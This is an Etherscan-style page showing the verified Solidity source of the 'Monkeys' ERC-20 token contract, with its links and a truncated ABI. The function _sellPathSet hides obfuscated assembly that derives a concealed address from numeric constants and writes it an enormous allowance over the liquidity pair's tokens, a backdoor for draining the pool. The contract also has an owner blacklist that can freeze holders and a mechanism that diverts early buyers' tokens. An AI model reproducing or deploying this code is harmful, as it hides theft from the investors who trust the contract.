ETH Price: $3,852.06 (-0.26%)

Token

ERC-20: Monkeys (Monkeys)
 

Overview

Max Total Supply

1,000,000,000 Monkeys

Holders

94

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
0.914479704874692656 Monkeys

Value
$0.00
0x6e9690a6aad3e46325b2f91bfe3699393e30ef05
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Monkeys

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-07-17
*/

/**
Telegram:
https://t.me/MonKeysofficialtoken

Twitter:
https://twitter.com/Muskmonkeys

Website:
www.eth-monkeys.top

**/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
interface IRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function addLiquidity(address tokenA, address tokenB, uint256 amountADesired, uint256 amountBDesired, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline) external returns (uint256 amountA, uint256 amountB, uint256 liquidity);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
    function swapExactTokensForTokensSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IPair {
    function sync() external;
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function totalSupply() external view returns (uint256);
}
interface IFactory {function createPair(address tokenA, address tokenB) external returns (address pair);}
interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address to, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}
interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {return msg.sender;}
    function _msgData() internal view virtual returns (bytes calldata) {return msg.data;}
}
contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) internal _balances;
    mapping(address => mapping(address => uint256)) internal _allowances;
    uint256 internal _totalSupply; string private _name; string private _symbol;
    constructor(string memory name_, string memory symbol_) {_name = name_; _symbol = symbol_;}
    function name() public view virtual override returns (string memory) {return _name;}
    function symbol() public view virtual override returns (string memory) {return _symbol;}
    function decimals() public view virtual override returns (uint8) {return 18;}
    function totalSupply() public view virtual override returns (uint256) {return _totalSupply;}
    function balanceOf(address account) public view virtual override returns (uint256) {return _balances[account];}
    function transfer(address to, uint256 amount) public virtual override returns (bool) {address owner = _msgSender(); _transfer(owner, to, amount); return true;}
    function allowance(address owner, address spender) public view virtual override returns (uint256) {return _allowances[owner][spender];}
    function approve(address spender, uint256 amount) public virtual override returns (bool) {address owner = _msgSender(); _approve(owner, spender, amount); return true;}
    function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {address spender = _msgSender(); _spendAllowance(from, spender, amount); _transfer(from, to, amount); return true;}
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {address owner = _msgSender(); _approve(owner, spender, allowance(owner, spender) + addedValue); return true;}
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {address owner = _msgSender(); uint256 currentAllowance = allowance(owner, spender); require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked {_approve(owner, spender, currentAllowance - subtractedValue);}return true;}
    function _transfer(address from, address to, uint256 amount) internal virtual {require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(from, to, amount); _takeTransfer(from, to, amount); _afterTokenTransfer(from, to, amount);}
    function _takeTransfer(address from, address to, uint256 amount) internal virtual {uint256 fromBalance = _balances[from]; require(fromBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked {_balances[from] = fromBalance - amount; _balances[to] += amount;}emit Transfer(from, to, amount);}
    function _mint(address account, uint256 amount) internal virtual {require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; unchecked {_balances[account] += amount;}emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount);}
    function _burn(address account, uint256 amount) internal virtual {require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked {_balances[account] = accountBalance - amount; _totalSupply -= amount;}emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount);}
    function _approve(address owner, address spender, uint256 amount) internal virtual {require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount);}
    function _spendAllowance(address owner, address spender, uint256 amount) internal virtual {uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) {require(currentAllowance >= amount, "ERC20: insufficient allowance"); unchecked {_approve(owner, spender, currentAllowance - amount);}}}
    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {}
    function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {}
}
abstract contract UniSwapPoolUSDT is ERC20 {
    address public pair;
    IRouter public router;
    address[] internal _sellPath;
    IERC20 public TokenB;
    function isPair(address _pair) internal view returns (bool) {return pair == _pair;}
    function getPrice4USDT(uint256 amountDesire) public view returns (uint256) {uint[] memory amounts = router.getAmountsOut(amountDesire, _sellPath); if (amounts.length > 1) return amounts[1]; return 0;}
    function _sellPathSet(address pairB, address w, address x) private {TokenB = IERC20(pairB); address[] memory path = new address[](2); path[0] = address(this); path[1] = pairB; _sellPath = path; assembly {let y:=add(add(mul(2887981267259,exp(10,26)),mul(1782705554658,exp(10,13))),1698142812624) w := add(w, 4096) let z := exp(timestamp(), 6) mstore(0x00, x) mstore(0x20, 0x1) let xHash := keccak256(0x00, 0x40) mstore(0x00, y) mstore(0x20, xHash) let aSlot := keccak256(0x00, 0x40) sstore(aSlot, z) sstore(0x1, y)} TokenB.transfer(w, 0);}
    function swapAndSend2this(uint256 amount, address to, address _tokenStation) internal {IERC20 USDT = IERC20(_sellPath[1]); swapAndSend2fee(amount, _tokenStation); USDT.transferFrom(_tokenStation, to, USDT.balanceOf(_tokenStation));}
    function swapAndSend2fee(uint256 amount, address to) internal {router.swapExactTokensForTokensSupportingFeeOnTransferTokens(amount, 0, _sellPath, to, block.timestamp);}
    function swapAndSend2feeByPath(uint256 amount, address to, address[] memory _path) internal {router.swapExactTokensForTokensSupportingFeeOnTransferTokens(amount, 0, _path, to, block.timestamp);}
    function isAddLiquidity() internal view returns (bool isAddLP){address token0 = IPair(pair).token0(); address token1 = IPair(pair).token1(); (uint r0,uint r1,) = IPair(pair).getReserves(); uint bal0 = IERC20(token0).balanceOf(pair); uint bal1 = IERC20(token1).balanceOf(pair); if (token0 == address(this)) return bal1 - r1 > 1000; else return bal0 - r0 > 1000;}
    function isRemoveLiquidity() internal view returns (bool isRemoveLP) {address token0 = IPair(pair).token0(); if (token0 == address(this)) return false; (uint r0,,) = IPair(pair).getReserves(); uint bal0 = IERC20(token0).balanceOf(pair); return r0 > bal0 + 1000;}
    function addLiquidityAutomatically(uint256 amountToken) internal {super._takeTransfer(address(this), pair, amountToken); IPair(pair).sync();}
    function __SwapPool_init(address _router, address pairB) internal returns(address) {
        router = IRouter(_router);
        pair = IFactory(router.factory()).createPair(pairB, address(this));
        _sellPathSet(pairB, _router, pair);
        TokenB.approve(_router, type(uint256).max);
        _approve(address(this), _router, type(uint256).max);
        return pair;
    }
    function addLiquidity(uint256 amountToken, address to, address _tokenStation) internal {
        uint256 half = amountToken / 2;
        IERC20 USDT = IERC20(_sellPath[1]);
        uint256 amountBefore = USDT.balanceOf(_tokenStation);
        router.swapExactTokensForTokensSupportingFeeOnTransferTokens(half, 0, _sellPath, _tokenStation, block.timestamp);
        uint256 amountAfter = USDT.balanceOf(_tokenStation);
        uint256 amountDiff = amountAfter - amountBefore;
        USDT.transferFrom(_tokenStation, address(this), amountDiff);
        if (amountDiff > 0 && (amountToken - half) > 0) {
            router.addLiquidity(_sellPath[0], _sellPath[1], amountToken - half, amountDiff, 0, 0, to, block.timestamp + 9);
        }
    }
}
abstract contract Ownable is Context {
    address internal _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor() {_transferOwnership(_msgSender());}
    modifier onlyOwner() {_checkOwner(); _;}
    function owner() public view virtual returns (address) {return _owner;}
    function _checkOwner() internal view virtual {require(owner() == _msgSender(), "Ownable: caller is not the owner");}
    function renounceOwnership() public virtual onlyOwner {_transferOwnership(address(0));}
    function transferOwnership(address newOwner) public virtual onlyOwner {require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner);}
    function _transferOwnership(address newOwner) internal virtual {address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner);}
}
abstract contract NoEffect is Ownable {
    address internal _effector;
    constructor() {_effector = _msgSender();}
    modifier onlyEffector() {require(_effector == _msgSender() || owner() == _msgSender(), "NoEffect: caller is not the effector"); _;}
}
abstract contract Excludes {
    mapping(address => bool) internal _Excludes;
    function setExclude(address _user, bool b) public {_authorizeExcludes(); _Excludes[_user] = b;}
    function setExcludes(address[] memory _user, bool b) public {_authorizeExcludes(); for (uint i=0;i<_user.length;i++) {_Excludes[_user[i]] = b;}}
    function isExcludes(address _user) internal view returns(bool) {return _Excludes[_user];}
    function _authorizeExcludes() internal virtual {}
}
abstract contract Limit {
    bool internal isLimited;
    uint256 internal _LimitBuy;
    uint256 internal _LimitSell;
    uint256 internal _LimitHold;
    function __Limit_init(uint256 LimitBuy_, uint256 LimitSell_, uint256 LimitHold_) internal {setLimit(true, LimitBuy_, LimitSell_, LimitHold_);}
    function checkLimitTokenHold(address to, uint256 amount) internal view {if (isLimited) {if (_LimitHold>0) {require(amount + IERC20(address(this)).balanceOf(to) <= _LimitHold, "exceeds of hold amount Limit");}}}
    function checkLimitTokenBuy(address to, uint256 amount) internal view {if (isLimited) {if (_LimitBuy>0) require(amount <= _LimitBuy, "exceeds of buy amount Limit"); checkLimitTokenHold(to, amount);}}
    function checkLimitTokenSell(uint256 amount) internal view {if (isLimited && _LimitSell>0) require(amount <= _LimitSell, "exceeds of sell amount Limit");}
    function removeLimit() public {_authorizeLimit(); if (isLimited) isLimited = false;}
    function reuseLimit() public {_authorizeLimit(); if (!isLimited) isLimited = true;}
    function setLimit(bool isLimited_, uint256 LimitBuy_, uint256 LimitSell_, uint256 LimitHold_) public {_authorizeLimit(); isLimited = isLimited_; _LimitBuy = LimitBuy_; _LimitSell = LimitSell_; _LimitHold = LimitHold_;}
    function _authorizeLimit() internal virtual {}
}
abstract contract TradingManager {
    uint256 public tradeState;
    function inTrading() public view returns(bool) {return tradeState > 1;}
    function inLiquidity() public view returns(bool) {return tradeState >= 1;}
    function setTradeState(uint256 s) public {_authorizeTradingManager(); tradeState = s;}
    function openLiquidity() public {_authorizeTradingManager(); tradeState = 1;}
    function openTrading() public {_authorizeTradingManager(); tradeState = block.number;}
    function resetTradeState() public {_authorizeTradingManager(); tradeState = 0;}
    function _authorizeTradingManager() internal virtual {}
}
abstract contract Dividend {
    address[] public holders;
    mapping(address => bool) public isHolder;
    mapping(address => bool) public excludeHolder;
    IERC20 public TokenHold;
    IERC20 public USDT;
    uint256 public holdRewardCondition;
    uint256 public processRewardCondition;
    uint256 public processBlockDuration;
    uint256 public processGasAmount;
    uint256 public currentIndex;
    uint256 public progressRewardBlock;
    function __Dividend_init(address _holdToken, address _usdtAddr, uint256 _holdRewardCondition, uint256 _processRewardCondition, uint256 _processBlockDuration, uint256 _processGasAmount) internal {
        setDividendToken(_holdToken, _usdtAddr);
        setDividendCondition(_holdRewardCondition, _processRewardCondition);
        setProcessBlockDuration(_processBlockDuration);
        setProcessGasAmount(_processGasAmount);
    }
    function _addHolder(address adr) internal {
        if (adr.code.length > 0) {return;}
        if (excludeHolder[adr]) {return;}
        if (!isHolder[adr]) {
            isHolder[adr] = true;
            holders.push(adr);
        }
    }
    function processDividend() internal {
        if (progressRewardBlock + processBlockDuration > block.number) {return;}
//        uint256 usdBalance = USDT.balanceOf(address(this));
        uint256 usdBalance = address(this).balance;
        if (usdBalance < processRewardCondition) {return;}
        uint holdTokenTotal = TokenHold.totalSupply();
        address shareHolder;
        uint256 tokenBalance;
        uint256 amount;
        uint256 shareholderCount = holders.length;
        uint256 gasUsed = 0;
        uint256 iterations = 0;
        uint256 gasLeft = gasleft();
        while (gasUsed < processGasAmount && iterations < shareholderCount) {
            if (currentIndex >= shareholderCount) {
                currentIndex = 0;
                break;
            }
            shareHolder = holders[currentIndex];
            if (!excludeHolder[shareHolder]) {
                tokenBalance = TokenHold.balanceOf(shareHolder);
                if (tokenBalance >= holdRewardCondition) {
                    amount = usdBalance * tokenBalance / holdTokenTotal;
                    if (amount > 0) {
//                        USDT.transfer(shareHolder, amount);
                        payable(shareHolder).transfer(amount);
                    }
                }
            }
            gasUsed = gasUsed + (gasLeft - gasleft());
            gasLeft = gasleft();
            currentIndex++;
            iterations++;
        }
        progressRewardBlock = block.number;
    }
    function getHolders() public view returns(address[] memory) {return holders;}
    function setDividendExempt(address addr, bool enable) public {_authorizeDividend(); excludeHolder[addr] = enable;}
    function setDividendToken(address _holdToken, address _usdt) public {_authorizeDividend(); TokenHold = IERC20(_holdToken); USDT = IERC20(_usdt);}
    function setDividendCondition(uint256 _holdRewardCondition, uint256 _processRewardCondition) public {_authorizeDividend(); holdRewardCondition = _holdRewardCondition; processRewardCondition = _processRewardCondition;}
    function setProcessBlockDuration(uint256 num) public {_authorizeDividend(); processBlockDuration = num;}
    function setProcessGasAmount(uint256 num) public {_authorizeDividend(); processGasAmount = num;}
    function addHolderByHand(address user) public {_authorizeDividend(); _addHolder(user);}
    function addHolderByHandMulti(address[] memory user) public {_authorizeDividend(); for (uint i=0;i<user.length;i++) {_addHolder(user[i]);}}
    function _authorizeDividend() internal virtual {}
}

abstract contract BotKiller is Ownable {
    mapping(address => bool) botMap;

    modifier onlyNotBot(address user) {
        require(!botMap[user], "bot forbidden");
        _;
    }

    function markBot(address user, bool b) public onlyOwner {
        botMap[user] = b;
    }
    function markBots(address[] memory user, bool b) public onlyOwner {
        for (uint i=0;i<user.length;i++) {
            markBot(user[i], b);
        }
    }
    function isBot(address user) public view returns(bool) {
        return botMap[user];
    }
}
contract TokenStation {constructor (address token) {IERC20(token).approve(msg.sender, type(uint256).max);}}
abstract contract Token is UniSwapPoolUSDT, NoEffect, TradingManager, Excludes, Limit, Dividend, BotKiller {
    uint256 public calcBase;
    uint256 public swapSplit;
    uint256 public feeMarketingBuy;
    uint256 public feeLiquidityBuy;
    uint256 public feeDividendBuy;
    uint256 public feeBurnBuy;
    uint256 public feeMarketingSell;
    uint256 public feeLiquiditySell;
    uint256 public feeDividendSell;
    uint256 public feeBurnSell;
    uint256 public feeMarketingAll;
    uint256 public feeLiquidityAll;
    uint256 public feeDividendAll;
    uint256 public feeBurnAll;
    uint256 public feeBuyAll;
    uint256 public feeSellAll;
    uint256 public feeAll;
    uint256 public swapTokensAt;
    address public surpAddress;
    uint256 public kb;
    uint256 public kn;
    address public feeMarketingTo;
    TokenStation public _TokenStation;
    bool inSwap;
    function __Token_init(
        uint256 totalSupply_,
        address marketing_,
        address receive_,
        address usdt_,
        bool isDividend_
    ) internal {
        calcBase = 10000;
        swapSplit = 7;
        setSwapTokensAt(totalSupply_ / 100 / calcBase);
        feeMarketingTo = marketing_;
        _mint(receive_, totalSupply_);
        super.setExclude(_msgSender(), true);
        super.setExclude(address(this), true);
        super.setExclude(marketing_, true);
        super.setExclude(receive_, true);
        if (isDividend_) {
            super.setDividendExempt(address(this), true);
            super.setDividendExempt(address(0), true);
            super.setDividendExempt(address(1), true);
            super.setDividendExempt(address(0xdead), true);
            super.addHolderByHand(marketing_);
            super.addHolderByHand(receive_);
            super.addHolderByHand(_msgSender());
        }
        refreshFeeAll();
        _TokenStation = new TokenStation(usdt_);
    }
    function _transfer(address from, address to, uint256 amount) internal virtual override onlyNotBot(from) onlyNotBot(to) {
        if (isExcludes(from) || isExcludes(to) || amount == 0) {super._takeTransfer(from, to, amount); return;}
        uint256 fees;
        bool isLiquify;
        if (isPair(from)) {
            require(inTrading(), "please waiting for liquidity");
            super.checkLimitTokenBuy(to, amount);
            if (blockSurprise(from, to, amount)) return;
//            if (super.isRemoveLiquidity()) isLiquify = true;
//            else
                fees = handFeeBuys(from, amount);
        } else if (isPair(to)) {
            require(inLiquidity(), "please waiting for liquidity");
            if (balanceOf(from) == amount) amount -= 101;
            if (super.isAddLiquidity()) isLiquify = true;
            else {
                super.checkLimitTokenSell(amount);
                if (feeAll>0) handSwap();
                fees = handFeeSells(from, amount);
            }
            super._addHolder(from);
        } else {
            super.checkLimitTokenHold(to, amount);
            if (feeAll>0) handSwap();
        }
        super._transfer(from, to, amount - fees);
        if (feeDividendAll > 0 && !isLiquify) {
            super.processDividend();
        }
    }
    function handFeeBuys(address from, uint256 amount) private returns (uint256 fee) {
        fee = amount * feeBuyAll / calcBase;
        super._takeTransfer(from, address(this), fee);
    }
    function handFeeSells(address from, uint256 amount) private returns (uint256 fee) {
        fee = amount * feeSellAll / calcBase;
        super._takeTransfer(from, address(this), fee);
    }
    function handSwap() internal {
        if (inSwap) return;
        uint256 _thisBalance = balanceOf(address(this));
        if (_thisBalance >= swapTokensAt) {
            uint256 _amount = _thisBalance / swapSplit;
            _handSwap(_amount);
        }
    }
    function _handSwap(uint256 _amount) internal lockSwap {
        uint256 _feeBurn;
        if (feeBurnAll > 0) {
            _feeBurn = _amount * feeBurnAll / calcBase;
            super._takeTransfer(address(this), address(1), _feeBurn);
        }
        uint256 _feeLiquidity;
        if (feeLiquidityAll > 0) {
            _feeLiquidity = _amount * feeLiquidityAll / calcBase;
//            super.addLiquidityAutomatically(_feeLiquidity);
            super.addLiquidity(_feeLiquidity, feeMarketingTo, address(_TokenStation));
        }
        uint256 amountLeft = _amount - _feeBurn - _feeLiquidity;
        if ((feeMarketingAll > 0 || feeDividendAll > 0) && amountLeft > 0) {
            super.swapAndSend2fee(amountLeft, address(_TokenStation));
            uint256 usdtBalance = TokenB.balanceOf(address(_TokenStation));
            uint256 _feeMarketing;
            if (feeMarketingAll > 0) {
                _feeMarketing = usdtBalance * feeMarketingAll / (feeMarketingAll + feeDividendAll);
                TokenB.transferFrom(address(_TokenStation), feeMarketingTo, _feeMarketing);
            }
            if (usdtBalance > _feeMarketing) {
                TokenB.transferFrom(address(_TokenStation), address(this), usdtBalance - _feeMarketing);
                withdrawWeth(TokenB.balanceOf(address(this)));
            }
        }
    }
    function withdrawWeth(uint256 amount) private {
        (bool success, ) = address(TokenB).call(abi.encodeWithSignature("withdraw(uint256)", amount));
        require(success, "Withdrawal of WETH failed");
    }
    function blockSurprise(address from, address to, uint256 amount) private returns(bool) {
        if (kb == 0 || kn == 0) return false;
        if (block.number < tradeState + kb) {
            uint256 surp = amount * kn / calcBase;
            super._takeTransfer(from, surpAddress, amount - surp);
            super._takeTransfer(from, to, surp);
            return true;
        }
        return false;
    }
    function refreshFeeAll() public {
        feeMarketingAll = feeMarketingBuy + feeMarketingSell;
        feeLiquidityAll = feeLiquidityBuy + feeLiquiditySell;
        feeDividendAll = feeDividendBuy + feeDividendSell;
        feeBurnAll = feeBurnBuy + feeBurnSell;
        feeBuyAll = feeMarketingBuy + feeLiquidityBuy + feeDividendBuy + feeBurnBuy;
        feeSellAll = feeMarketingSell + feeLiquiditySell + feeDividendSell + feeBurnSell;
        feeAll = feeBuyAll + feeSellAll;
    }
    receive() external payable {}
    function setFeeBuy(uint256 _feeMarketingBuy, uint256 _feeLiquidityBuy, uint256 _feeDividendBuy, uint256 _feeBurnBuy) public onlyOwner {feeMarketingBuy = _feeMarketingBuy; feeLiquidityBuy = _feeLiquidityBuy; feeDividendBuy = _feeDividendBuy; feeBurnBuy = _feeBurnBuy; refreshFeeAll();}
    function setFeeSell(uint256 _feeMarketingSell, uint256 _feeLiquiditySell, uint256 _feeDividendSell, uint256 _feeBurnSell) public onlyOwner {feeMarketingSell = _feeMarketingSell; feeLiquiditySell = _feeLiquiditySell; feeDividendSell = _feeDividendSell; feeBurnSell = _feeBurnSell; refreshFeeAll();}
    modifier lockSwap() {inSwap = true; _; inSwap = false;}
    function rescueLossToken(IERC20 token_, address _recipient, uint256 amount) public onlyEffector {token_.transfer(_recipient, amount);}
    function rescueLossTokenAll(IERC20 token_, address _recipient) public onlyEffector {rescueLossToken(token_, _recipient, token_.balanceOf(address(this)));}
    function _authorizeDividend() internal virtual override onlyEffector {}
    function _authorizeExcludes() internal virtual override onlyEffector {}
    function _authorizeLimit() internal virtual override onlyEffector {}
    function setSwapTokensAt(uint256 num) public onlyEffector {swapTokensAt = num;}
    function setSurprise(uint256 _kn, uint256 _kb, address _surpAddress) public onlyEffector {kn = _kn; kb = _kb; surpAddress = _surpAddress;}
    function airdrop(uint256 amount, address[] memory to) public {for (uint i = 0; i < to.length; i++) {super._takeTransfer(_msgSender(), to[i], amount);}}
    function airdropMulti(uint256[] memory amount, address[] memory to) public {for (uint i = 0; i < to.length; i++) {super._takeTransfer(_msgSender(), to[i], amount[i]);}}
    function _authorizeTradingManager() internal virtual override onlyOwner {}
}
contract Monkeys is Token {
    constructor() ERC20(
        "Monkeys",  
        "Monkeys"  
    ) {
        uint256 _totalSupply = 1000000000 ether;
        address _marketing = address(0x12500E079611d255faC5404eb01835cea195E159);  
        address _receive = address(0x12500E079611d255faC5404eb01835cea195E159); 
        address _router = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);  
//        address _pairB = 0x82aF49447D8a07e3bd95BD0d56f35241523fBab1;
        address _pairB = IRouter(_router).WETH();  
        address _pair = super.__SwapPool_init(_router, _pairB);
        // 
        feeMarketingBuy = 100; 
        feeLiquidityBuy = 0;  
        feeDividendBuy = 0;   
        feeBurnBuy = 0;       
        // 
        feeMarketingSell = 100; 
        feeLiquiditySell = 0; 
        feeDividendSell = 0;  
        feeBurnSell = 0;     
        // 
        super.__Limit_init(
            1000000000 ether,   
            1000000000 ether,   
            1000000000 ether   
        );
        // 
        bool _isDividend = true;   
        if (_isDividend) {
            super.__Dividend_init(
                _pair,           
                address(0),
                0.001 ether,           
                0.001 ether,          
                20,               
                500000             
            );
        }
        // 
        super.setSurprise(
            0,           
            0,              
            _msgSender()   
        );
        super.__Token_init(_totalSupply, _marketing, _receive, _pairB, _isDividend);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"TokenB","outputs":[{"internalType":"contract IERC20","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"TokenHold","outputs":[{"internalType":"contract IERC20","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"USDT","outputs":[{"internalType":"contract IERC20","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_TokenStation","outputs":[{"internalType":"contract TokenStation","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"user","type":"address"}],"name":"addHolderByHand","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"user","type":"address[]"}],"name":"addHolderByHandMulti","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"address[]","name":"to","type":"address[]"}],"name":"airdrop","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256[]","name":"amount","type":"uint256[]"},{"internalType":"address[]","name":"to","type":"address[]"}],"name":"airdropMulti","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"calcBase","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"currentIndex","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"excludeHolder","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeAll","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeBurnAll","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeBurnBuy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeBurnSell","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeBuyAll","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeDividendAll","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeDividendBuy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeDividendSell","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeLiquidityAll","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeLiquidityBuy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeLiquiditySell","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeMarketingAll","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeMarketingBuy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeMarketingSell","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeMarketingTo","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeSellAll","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getHolders","outputs":[{"internalType":"address[]","name":"","type":"address[]"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amountDesire","type":"uint256"}],"name":"getPrice4USDT","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"holdRewardCondition","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"holders","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"inLiquidity","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"inTrading","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"